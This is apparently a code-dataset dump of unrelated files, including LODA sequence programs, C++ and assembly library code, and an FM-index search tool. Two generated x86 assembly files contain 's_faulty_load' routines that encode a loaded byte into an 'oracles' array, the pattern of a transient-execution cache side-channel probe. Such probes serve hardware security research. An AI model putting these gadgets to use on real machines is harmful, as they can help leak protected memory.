text
stringlengths
1
1.05M
#include <iostream> #include <cstring> using namespace std; #include "cat.h" namespace sict{ Cat::Cat(const char* name, int numOfLives) :Animal(name),_numOfLives(numOfLives){ cout << "Creating " << this->name() << " the Cat with " << _numOfLives << " lives" << endl; } void Cat::act(){ cout << "Act playful, " << name() <<" the Cat" << endl; } void Cat::move(){ cout << "Move like " << name() << " the Cat" << endl; } void Cat::sound(){ cout << "Meow!" << endl; } Cat::~Cat(){ cout << "Killing " << name() << " the Cat with " << _numOfLives << " lives" << endl; } }
; A003953: Expansion of g.f.: (1+x)/(1-10*x). ; 1,11,110,1100,11000,110000,1100000,11000000,110000000,1100000000,11000000000,110000000000,1100000000000,11000000000000,110000000000000,1100000000000000,11000000000000000,110000000000000000,1100000000000000000,11000000000000000000,110000000000000000000,1100000000000000000000,11000000000000000000000,110000000000000000000000,1100000000000000000000000,11000000000000000000000000,110000000000000000000000000,1100000000000000000000000000,11000000000000000000000000000,110000000000000000000000000000,1100000000000000000000000000000,11000000000000000000000000000000,110000000000000000000000000000000,1100000000000000000000000000000000,11000000000000000000000000000000000,110000000000000000000000000000000000 mov $1,10 pow $1,$0 mul $1,11 div $1,10 mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x13bc3, %r9 nop nop nop xor $40374, %rdx movl $0x61626364, (%r9) nop nop nop xor %rbp, %rbp lea addresses_WT_ht+0xbdf, %r10 sub %r8, %r8 mov (%r10), %rdx nop cmp %r8, %r8 lea addresses_WC_ht+0x7ec7, %r9 sub $7957, %r8 mov $0x6162636465666768, %r13 movq %r13, %xmm7 movups %xmm7, (%r9) inc %r8 lea addresses_WC_ht+0x55df, %rsi lea addresses_A_ht+0xc897, %rdi add %rbp, %rbp mov $22, %rcx rep movsw nop nop nop nop nop cmp $11924, %r10 lea addresses_WT_ht+0x1611d, %rdx nop xor $25978, %r10 mov $0x6162636465666768, %r9 movq %r9, %xmm1 vmovups %ymm1, (%rdx) nop nop nop nop nop cmp %r10, %r10 lea addresses_WT_ht+0x6c3f, %rcx nop nop xor $58906, %r8 movups (%rcx), %xmm0 vpextrq $1, %xmm0, %r9 xor %rsi, %rsi lea addresses_WT_ht+0x14a95, %rcx nop nop nop xor %r13, %r13 mov $0x6162636465666768, %r8 movq %r8, (%rcx) nop nop nop nop nop cmp %rdx, %rdx lea addresses_UC_ht+0x3745, %rbp nop nop inc %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rbp) nop nop nop nop xor $40686, %rbp lea addresses_normal_ht+0x4c9f, %rsi lea addresses_UC_ht+0x7ddf, %rdi sub %r8, %r8 mov $120, %rcx rep movsq nop nop nop nop nop inc %rcx lea addresses_normal_ht+0xd8f3, %rbp nop inc %r10 movups (%rbp), %xmm6 vpextrq $0, %xmm6, %rcx inc %rcx lea addresses_A_ht+0xb527, %rsi lea addresses_UC_ht+0x1499f, %rdi sub $8301, %rbp mov $46, %rcx rep movsb nop nop cmp %r10, %r10 lea addresses_UC_ht+0x1aa8b, %r9 nop nop nop nop xor %rbp, %rbp mov (%r9), %r8 nop nop nop xor $59062, %rcx lea addresses_WC_ht+0x1dfdf, %rsi lea addresses_normal_ht+0x49df, %rdi nop and $25558, %r10 mov $125, %rcx rep movsl nop and $41560, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %rax push %rbp push %rdi push %rdx // Store mov $0x5dbde00000005df, %r15 nop nop nop xor $262, %rax movw $0x5152, (%r15) nop nop sub %rbp, %rbp // Store lea addresses_A+0x1d65f, %rax nop nop cmp $36755, %r13 mov $0x5152535455565758, %rdi movq %rdi, %xmm4 movntdq %xmm4, (%rax) add $45264, %rbp // Faulty Load mov $0x4bff010000000ddf, %rax nop nop nop nop nop and $48370, %rdx vmovntdqa (%rax), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rdi lea oracles, %rax and $0xff, %rdi shlq $12, %rdi mov (%rax,%rdi,1), %rdi pop %rdx pop %rdi pop %rbp pop %rax pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'00': 648, '44': 23} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 */
#include <sdsl/suffix_arrays.hpp> #include <sdsl/rmq_support.hpp> #include <string> #include <iostream> #include <algorithm> #include <iomanip> #include <queue> using namespace sdsl; using namespace std; struct interval { size_t lb, rb; // left bound, right bound (both inclusive) size_t min_val, min_idx; // minimal value, index of the minimum interval(size_t lb, size_t rb, size_t min_val, size_t min_idx): lb(lb), rb(rb), min_val(min_val), min_idx(min_idx) {}; interval(const interval& i): lb(i.lb), rb(i.rb), min_val(i.min_val), min_idx(i.min_idx) {}; bool operator>(const interval& i)const { if (min_val != i.min_val) { return min_val > i.min_val; } if (min_idx != i.min_idx) { return min_idx > i.min_idx; } if (lb != i.lb) { return lb > i.lb; } return rb > i.rb; } }; int main(int argc, char** argv) { if (argc < 2) { cout << "Usage " << argv[0] << " text_file [max_locations] [post_context] [pre_context]" << endl; cout << " This program constructs a very compact FM-index" << endl; cout << " which supports count, locate, and extract queries." << endl; cout << " text_file Original text file." << endl; cout << " max_locations Maximal number of location to report." <<endl; cout << " post_context Maximal length of the reported post-context." << endl; cout << " pre_context Maximal length of the pre-context." << endl; return 1; } size_t max_locations = 5; size_t post_context = 10; size_t pre_context = 10; if (argc >= 3) { max_locations = atoi(argv[2]); } if (argc >= 4) { post_context = atoi(argv[3]); } if (argc >= 5) { pre_context = atoi(argv[4]); } string index_suffix = ".fm9"; string index_file = string(argv[1])+index_suffix; typedef csa_wt<wt_huff<rrr_vector<127> >, 512, 1024> fm_index_type; typedef fm_index_type::size_type size_type; fm_index_type fm_index; if (!load_from_file(fm_index, index_file)) { ifstream in(argv[1]); if (!in) { cout << "ERROR: File " << argv[1] << " does not exist. Exit." << endl; return 1; } cout << "No index "<<index_file<< " located. Building index now." << endl; construct(fm_index, argv[1], 1); // generate index store_to_file(fm_index, index_file); // save it } string rmq_suffix = ".rmq"; string rmq_file = string(argv[1])+rmq_suffix; rmq_succinct_sct<> rmq; csa_wt<wt_huff<>, 1,1<<20 > tmp_csa; if (!load_from_file(rmq, rmq_file)) { ifstream in(argv[1]); if (!in) { cout << "ERROR: File " << argv[1] << " does not exist. Exit." << endl; return 1; } cout << "No index "<<rmq_file<< " located. Building index now." << endl; construct(tmp_csa, argv[1], 1); util::assign(rmq, rmq_succinct_sct<>(&tmp_csa)); store_to_file(rmq, rmq_file); } double index_size = size_in_mega_bytes(fm_index) + size_in_mega_bytes(rmq); cout << "Index construction complete, index requires " << index_size << " MiB." << endl; cout << "Input search terms and press Ctrl-D to exit." << endl; string prompt = "\e[0;32m>\e[0m "; cout << prompt; string query; while (getline(cin, query)) { size_type m = query.size(); size_type lb = 0, rb=0; // left and right bound of the matching interval in the suffix array size_t occs = backward_search(fm_index, 0, fm_index.size()-1, query.begin(), query.end(), lb, rb); cout << "# of occurrences: " << occs << endl; if (occs > 0) { cout << "Location and context of first occurrences: " << endl; size_t min_idx = rmq(lb, rb); size_t min_val = fm_index[min_idx]; priority_queue<interval, vector<interval>, greater<interval> > pq; // min-heap pq.push(interval(lb, rb, min_val, min_idx)); for (size_t i = 0, pre_extract = pre_context, post_extract = post_context; i < min(occs, max_locations); ++i) { interval r = pq.top(); pq.pop(); size_t location = r.min_val; if (r.min_idx > r.lb) { min_idx = rmq(r.lb, r.min_idx-1); pq.push(interval(r.lb, r.min_idx-1, fm_index[min_idx], min_idx)); } if (r.min_idx < r.rb) { min_idx = rmq(r.min_idx+1, r.rb); pq.push(interval(r.min_idx+1, r.rb, fm_index[min_idx], min_idx)); } cout << setw(8) << location << ": "; if (pre_extract > location) { pre_extract = location; } if (location+m+ post_extract > fm_index.size()) { post_extract = fm_index.size()-location-m; } auto s = extract(fm_index, location-pre_extract, location+m+ post_extract-1); string pre = s.substr(0, pre_extract); s = s.substr(pre_extract); if (pre.find_last_of('\n') != string::npos) { pre = pre.substr(pre.find_last_of('\n')+1); } cout << pre; cout << "\e[1;31m"; cout << s.substr(0, m); cout << "\e[0m"; string context = s.substr(m); cout << context.substr(0, context.find_first_of('\n')) << endl; } } cout << prompt; } cout << endl; }
; A007572: Generalization of the golden ratio (expansion of (5-13x)/((1+x)(1-4x))). ; Submitted by Jamie Morken(s4) ; 5,2,26,86,362,1430,5738,22934,91754,366998,1468010,5872022,23488106,93952406,375809642,1503238550,6012954218,24051816854,96207267434,384829069718,1539316278890,6157265115542,24629060462186 mov $1,10 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,4 mul $3,3 add $3,$1 mov $1,$2 lpe mov $0,$1 div $0,2
; A140513: Repeat 2^n n times. ; 2,4,4,8,8,8,16,16,16,16,32,32,32,32,32,64,64,64,64,64,64,128,128,128,128,128,128,128,256,256,256,256,256,256,256,256,512,512,512,512,512,512,512,512,512,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,2048,2048,2048,2048,2048,2048,2048,2048,2048,2048,2048,4096,4096,4096,4096,4096,4096,4096,4096,4096,4096,4096,4096,8192,8192,8192,8192,8192,8192,8192,8192,8192,8192,8192,8192,8192,16384,16384,16384,16384,16384,16384,16384,16384,16384,16384,16384,16384,16384,16384,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,32768,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,131072,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,262144,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,524288,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,1048576,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,2097152,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304,4194304 mov $1,2 lpb $0 add $2,1 sub $0,$2 trn $0,1 mul $1,2 lpe
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas ; ; See "nirvana+.h" for further details ; ---------------------------------------------------------------- ; void NIRVANAP_drawT(unsigned char tile, unsigned char lin, unsigned char col) ; callee SECTION code_clib SECTION code_nirvanap PUBLIC _NIRVANAP_drawT_callee EXTERN asm_NIRVANAP_drawT _NIRVANAP_drawT_callee: pop hl pop de ; d = line ld a,e ; a = tile dec sp ex (sp),hl ld e,h ; e = col jp asm_NIRVANAP_drawT
/*============================================================================= Copyright (c) 2011-2017 Bolero MURAKAMI https://github.com/bolero-MURAKAMI/Sprout Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) =============================================================================*/ #ifndef SPROUT_BIT_ISOLS0B_HPP #define SPROUT_BIT_ISOLS0B_HPP #include <type_traits> #include <sprout/config.hpp> namespace sprout { // // isols0b // template<typename Integral> inline SPROUT_CONSTEXPR typename std::enable_if< std::is_integral<Integral>::value, Integral >::type isols0b(Integral x) SPROUT_NOEXCEPT { return ~x & (x + 1); } } // namespace sprout #endif // #ifndef SPROUT_BIT_ISOLS0B_HPP
; =============================================================== ; Feb 2014 ; =============================================================== ; ; int w_vector_resize(w_vector_t *v, size_t n) ; ; Attempt to resize the vector to n words. ; ; If n <= vector.size, vector.size = n and any elements in ; the vector.array at positions >= n are ignored. ; ; If n > vector.size, vector.data is grown and if that ; is successfully done, new elements are zeroed. ; ; Carry set on failure. ; ; =============================================================== SECTION code_adt_w_vector PUBLIC asm_w_vector_resize EXTERN asm_b_vector_resize, error_zc asm_w_vector_resize: ; enter : hl = vector * ; de = n = desired size in words ; ; exit : success ; ; hl = non-zero ; carry reset ; ; fail if max_size exceeded ; ; hl = 0 ; carry set ; ; fail if insufficient memory or lock not acquired ; ; hl = 0 ; carry set ; ; uses : af, bc, de, hl sla e rl d jp nc, asm_b_vector_resize jp error_zc
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #pragma once #ifndef GEODE_PDXSERIALIZER_H_ #define GEODE_PDXSERIALIZER_H_ #include "PdxReader.hpp" #include "PdxWriter.hpp" #include "Serializable.hpp" namespace apache { namespace geode { namespace client { /** * Function pointer type that takes a void pointer to an instance of a user * object and a class name to return the size of the user object. */ using UserObjectSizer = std::function<size_t(const std::shared_ptr<const void>&, const std::string&)>; /** * The PdxSerializer class allows domain classes to be * serialized and deserialized as PDXs without modification * of the domain class. * A domain class should register function {@link * Serializable::registerPdxSerializer} to create a new * instance of type for de-serialization. */ class APACHE_GEODE_EXPORT PdxSerializer { public: PdxSerializer() {} virtual ~PdxSerializer() {} /** * Deserialize this object. * * @param className the class name whose object needs to be de-serialized * @param pr the PdxReader stream to use for reading the object data */ virtual std::shared_ptr<void> fromData(const std::string& className, PdxReader& pdxReader) = 0; /** * Serializes this object in Geode PDX format. * @param userObject the object which needs to be serialized * @param pw the PdxWriter object to use for serializing the object */ virtual bool toData(const std::shared_ptr<const void>& userObject, const std::string& className, PdxWriter& pdxWriter) = 0; /** * Get the function pointer to the user function that returns the size of an * instance of a user domain object * @param className to help select an object sizer for the correct class */ virtual UserObjectSizer getObjectSizer(const std::string& className); }; } // namespace client } // namespace geode } // namespace apache #endif // GEODE_PDXSERIALIZER_H_
; A276670: Numerator of (n-1)*n*(n+1)/4. ; 0,0,3,6,15,30,105,84,126,180,495,330,429,546,1365,840,1020,1224,2907,1710,1995,2310,5313,3036,3450,3900,8775,4914,5481,6090,13485,7440,8184,8976,19635,10710,11655,12654,27417,14820,15990,17220,37023,19866,21285,22770,48645,25944,27636,29400,62475,33150,35139,37206,78705,41580,43890,46284,97527,51330,53985,56730,119133,62496,65520,68640,143715,75174,78591,82110,171465,89460,93294,97236,202575,105450,109725,114114,237237,123240,127980,132840,275643,142926,148155,153510,317985,164604,170346,176220,364455,188370,194649,201066,415245,214320,221160,228144,470547,242550 add $0,1 bin $0,3 dif $0,2 mul $0,3
INCLUDE "src/constants/hardware.inc"
dnl ARM mpn_com optimised for A15. dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C StrongARM ? C XScale ? C Cortex-A7 ? C Cortex-A8 ? C Cortex-A9 2.5 C Cortex-A15 1.0 C This is great A15 core register code, but it is a bit large. C We use FEEDIN_VARIANT 1 to save some space, but use 8-way unrolling. C Architecture requirements: C v5 - C v5t - C v5te ldrd strd C v6 - C v6t2 - C v7a - define(`FEEDIN_VARIANT', 1) C alternatives: 0 1 2 define(`UNROLL', 4x2) C alternatives: 4 4x2 define(`rp', `r0') define(`up', `r1') define(`n', `r2') ASM_START() PROLOGUE(mpn_com) push { r4-r5,r8-r9 } ifelse(FEEDIN_VARIANT,0,` ands r12, n, #3 mov n, n, lsr #2 beq L(b00a) tst r12, #1 beq L(bx0) ldr r5, [up], #4 mvn r9, r5 str r9, [rp], #4 tst r12, #2 beq L(b00) L(bx0): ldrd r4, r5, [up, #0] sub rp, rp, #8 b L(lo) L(b00): tst n, n beq L(wd1) L(b00a):ldrd r4, r5, [up], #-8 sub rp, rp, #16 b L(mid) ') ifelse(FEEDIN_VARIANT,1,` and r12, n, #3 mov n, n, lsr #2 tst r12, #1 beq L(bx0) ldr r5, [up], #4 mvn r9, r5 str r9, [rp], #4 L(bx0): tst r12, #2 beq L(b00) ldrd r4, r5, [up, #0] sub rp, rp, #8 b L(lo) L(b00): tst n, n beq L(wd1) ldrd r4, r5, [up], #-8 sub rp, rp, #16 b L(mid) ') ifelse(FEEDIN_VARIANT,2,` ands r12, n, #3 mov n, n, lsr #2 beq L(b00) cmp r12, #2 bcc L(b01) beq L(b10) L(b11): ldr r5, [up], #4 mvn r9, r5 ldrd r4, r5, [up, #0] str r9, [rp], #-4 b L(lo) L(b00): ldrd r4, r5, [up], #-8 sub rp, rp, #16 b L(mid) L(b01): ldr r5, [up], #-4 mvn r9, r5 str r9, [rp], #-12 tst n, n beq L(wd1) L(gt1): ldrd r4, r5, [up, #8] b L(mid) L(b10): ldrd r4, r5, [up] sub rp, rp, #8 b L(lo) ') ALIGN(16) ifelse(UNROLL,4,` L(top): ldrd r4, r5, [up, #8] strd r8, r9, [rp, #8] L(mid): mvn r8, r4 mvn r9, r5 ldrd r4, r5, [up, #16]! strd r8, r9, [rp, #16]! sub n, n, #1 L(lo): mvn r8, r4 mvn r9, r5 tst n, n bne L(top) ') ifelse(UNROLL,4x2,` L(top): ldrd r4, r5, [up, #8] strd r8, r9, [rp, #8] L(mid): mvn r8, r4 mvn r9, r5 ldrd r4, r5, [up, #16] strd r8, r9, [rp, #16] mvn r8, r4 mvn r9, r5 sub n, n, #2 tst n, n bmi L(dne) ldrd r4, r5, [up, #24] strd r8, r9, [rp, #24] mvn r8, r4 mvn r9, r5 ldrd r4, r5, [up, #32]! strd r8, r9, [rp, #32]! L(lo): mvn r8, r4 mvn r9, r5 tst n, n bne L(top) ') L(end): strd r8, r9, [rp, #8] L(wd1): pop { r4-r5,r8-r9 } bx r14 ifelse(UNROLL,4x2,` L(dne): strd r8, r9, [rp, #24] pop { r4-r5,r8-r9 } bx r14 ') EPILOGUE()
.global s_prepare_buffers s_prepare_buffers: push %r12 push %rax push %rbp push %rcx lea addresses_D_ht+0xf410, %rax nop xor %r12, %r12 vmovups (%rax), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %rbp nop sub $9745, %rcx pop %rcx pop %rbp pop %rax pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r9 push %rdx push %rsi // Faulty Load lea addresses_normal+0x15810, %r12 nop nop nop nop nop inc %rdx mov (%r12), %si lea oracles, %r11 and $0xff, %rsi shlq $12, %rsi mov (%r11,%rsi,1), %rsi pop %rsi pop %rdx pop %r9 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'34': 2659} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
